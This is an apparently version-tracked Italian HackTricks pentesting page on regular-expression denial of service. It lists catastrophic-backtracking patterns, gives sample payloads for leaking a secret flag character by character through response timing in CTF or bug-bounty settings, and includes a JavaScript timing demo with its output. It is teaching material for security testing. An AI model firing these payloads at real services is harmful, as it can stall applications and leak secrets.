hacktricks/pentesting-web/regular-expression-denial-of-service-redos.md

106 lines
6.5 KiB
Markdown
Raw Normal View History

# Denial of Service da espressione regolare - ReDoS
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Supporta HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
# Denial of Service da espressione regolare (ReDoS)
2024-02-06 03:10:38 +00:00
Un **Denial of Service da espressione regolare (ReDoS)** si verifica quando qualcuno sfrutta le debolezze nel modo in cui funzionano le espressioni regolari (un modo per cercare e abbinare modelli nel testo). A volte, quando vengono utilizzate le espressioni regolari, possono diventare molto lente, specialmente se il pezzo di testo con cui stanno lavorando diventa più grande. Questa lentezza può diventare così grave che cresce molto rapidamente anche con piccoli aumenti nella dimensione del testo. Gli attaccanti possono utilizzare questo problema per far smettere di funzionare correttamente un programma che utilizza espressioni regolari per un lungo periodo di tempo.
2021-01-26 13:53:03 +00:00
## L'algoritmo Naïve problematico delle regex
2021-01-26 13:51:43 +00:00
**Controlla i dettagli in [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
2021-01-26 13:51:43 +00:00
2024-02-10 13:03:23 +00:00
## Regex malvagie <a href="#evil-regexes" id="evil-regexes"></a>
2021-01-26 13:51:43 +00:00
Un modello di espressione regolare malvagio è quello che può **bloccarsi su input creati causando un DoS**. I modelli di regex malvagi contengono tipicamente raggruppamenti con ripetizione e ripetizione o alternanza con sovrapposizioni all'interno del gruppo ripetuto. Alcuni esempi di modelli malvagi includono:
2021-01-26 13:51:43 +00:00
2024-02-03 16:02:14 +00:00
* (a+)+
* ([a-zA-Z]+)*
* (a|aa)+
* (a|a?)+
2024-02-10 13:03:23 +00:00
* (.*a){x} per x > 10
2021-01-26 13:51:43 +00:00
2024-02-10 13:03:23 +00:00
Tutti questi sono vulnerabili all'input `aaaaaaaaaaaaaaaaaaaaaaaa!`.
2021-01-26 13:51:43 +00:00
2024-02-10 13:03:23 +00:00
## Payload ReDoS
2022-04-05 22:13:36 +00:00
2024-02-10 13:03:23 +00:00
### Esfiltrazione di stringhe tramite ReDoS
2022-04-05 22:13:36 +00:00
In un CTF (o bug bounty) potresti **controllare la regex con cui viene abbinata un'informazione sensibile (il flag)**. Quindi, potrebbe essere utile far **congelare la pagina (timeout o tempo di elaborazione più lungo)** se la **regex ha corrisposto** e **non se non lo ha fatto**. In questo modo sarai in grado di **esfiltrare** la stringa **carattere per carattere**:
2022-04-05 22:13:36 +00:00
2024-02-10 13:03:23 +00:00
* In [**questo post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) puoi trovare questa regola ReDoS: `^(?=<flag>)((.*)*)*salt$`
* Esempio: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
* In [**questo writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) puoi trovare questo: `<flag>(((((((.*)*)*)*)*)*)*)!`
2024-02-10 13:03:23 +00:00
* In [**questo writeup**](https://ctftime.org/writeup/25869) ha usato: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
2022-04-05 22:13:36 +00:00
### Controllo dell'input e regex ReDoS
2021-01-26 13:51:43 +00:00
I seguenti sono esempi di **ReDoS** in cui **controlli** sia l'**input** che la **regex**:
2021-01-26 13:51:43 +00:00
```javascript
function check_time_regexp(regexp, text){
2024-02-10 13:03:23 +00:00
var t0 = new Date().getTime();;
new RegExp(regexp).test(text);
var t1 = new Date().getTime();;
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
2021-01-26 13:51:43 +00:00
}
2022-04-05 22:13:36 +00:00
// This payloads work because the input has several "a"s
2021-01-26 13:51:43 +00:00
[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
2024-02-10 13:03:23 +00:00
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
2021-01-26 13:51:43 +00:00
].forEach(regexp => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
Regexp (a|a?)+$ took 5076 milliseconds.
Regexp (\w*)+$ took 3198 milliseconds.
Regexp (a*)+$ took 3281 milliseconds.
Regexp (.*a){100}$ took 1436 milliseconds.
Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
2024-02-10 13:03:23 +00:00
## Strumenti
2021-04-16 09:25:21 +00:00
2022-04-27 12:34:57 +00:00
* [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
* [https://devina.io/redos-checker](https://devina.io/redos-checker)
2022-04-28 16:01:33 +00:00
2024-02-10 13:03:23 +00:00
## Riferimenti
2024-02-03 16:02:14 +00:00
* [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
2024-02-06 03:10:38 +00:00
* [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
* [https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html)
* [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
2024-02-03 16:02:14 +00:00
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>Supporta HackTricks</summary>
2022-04-28 16:01:33 +00:00
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}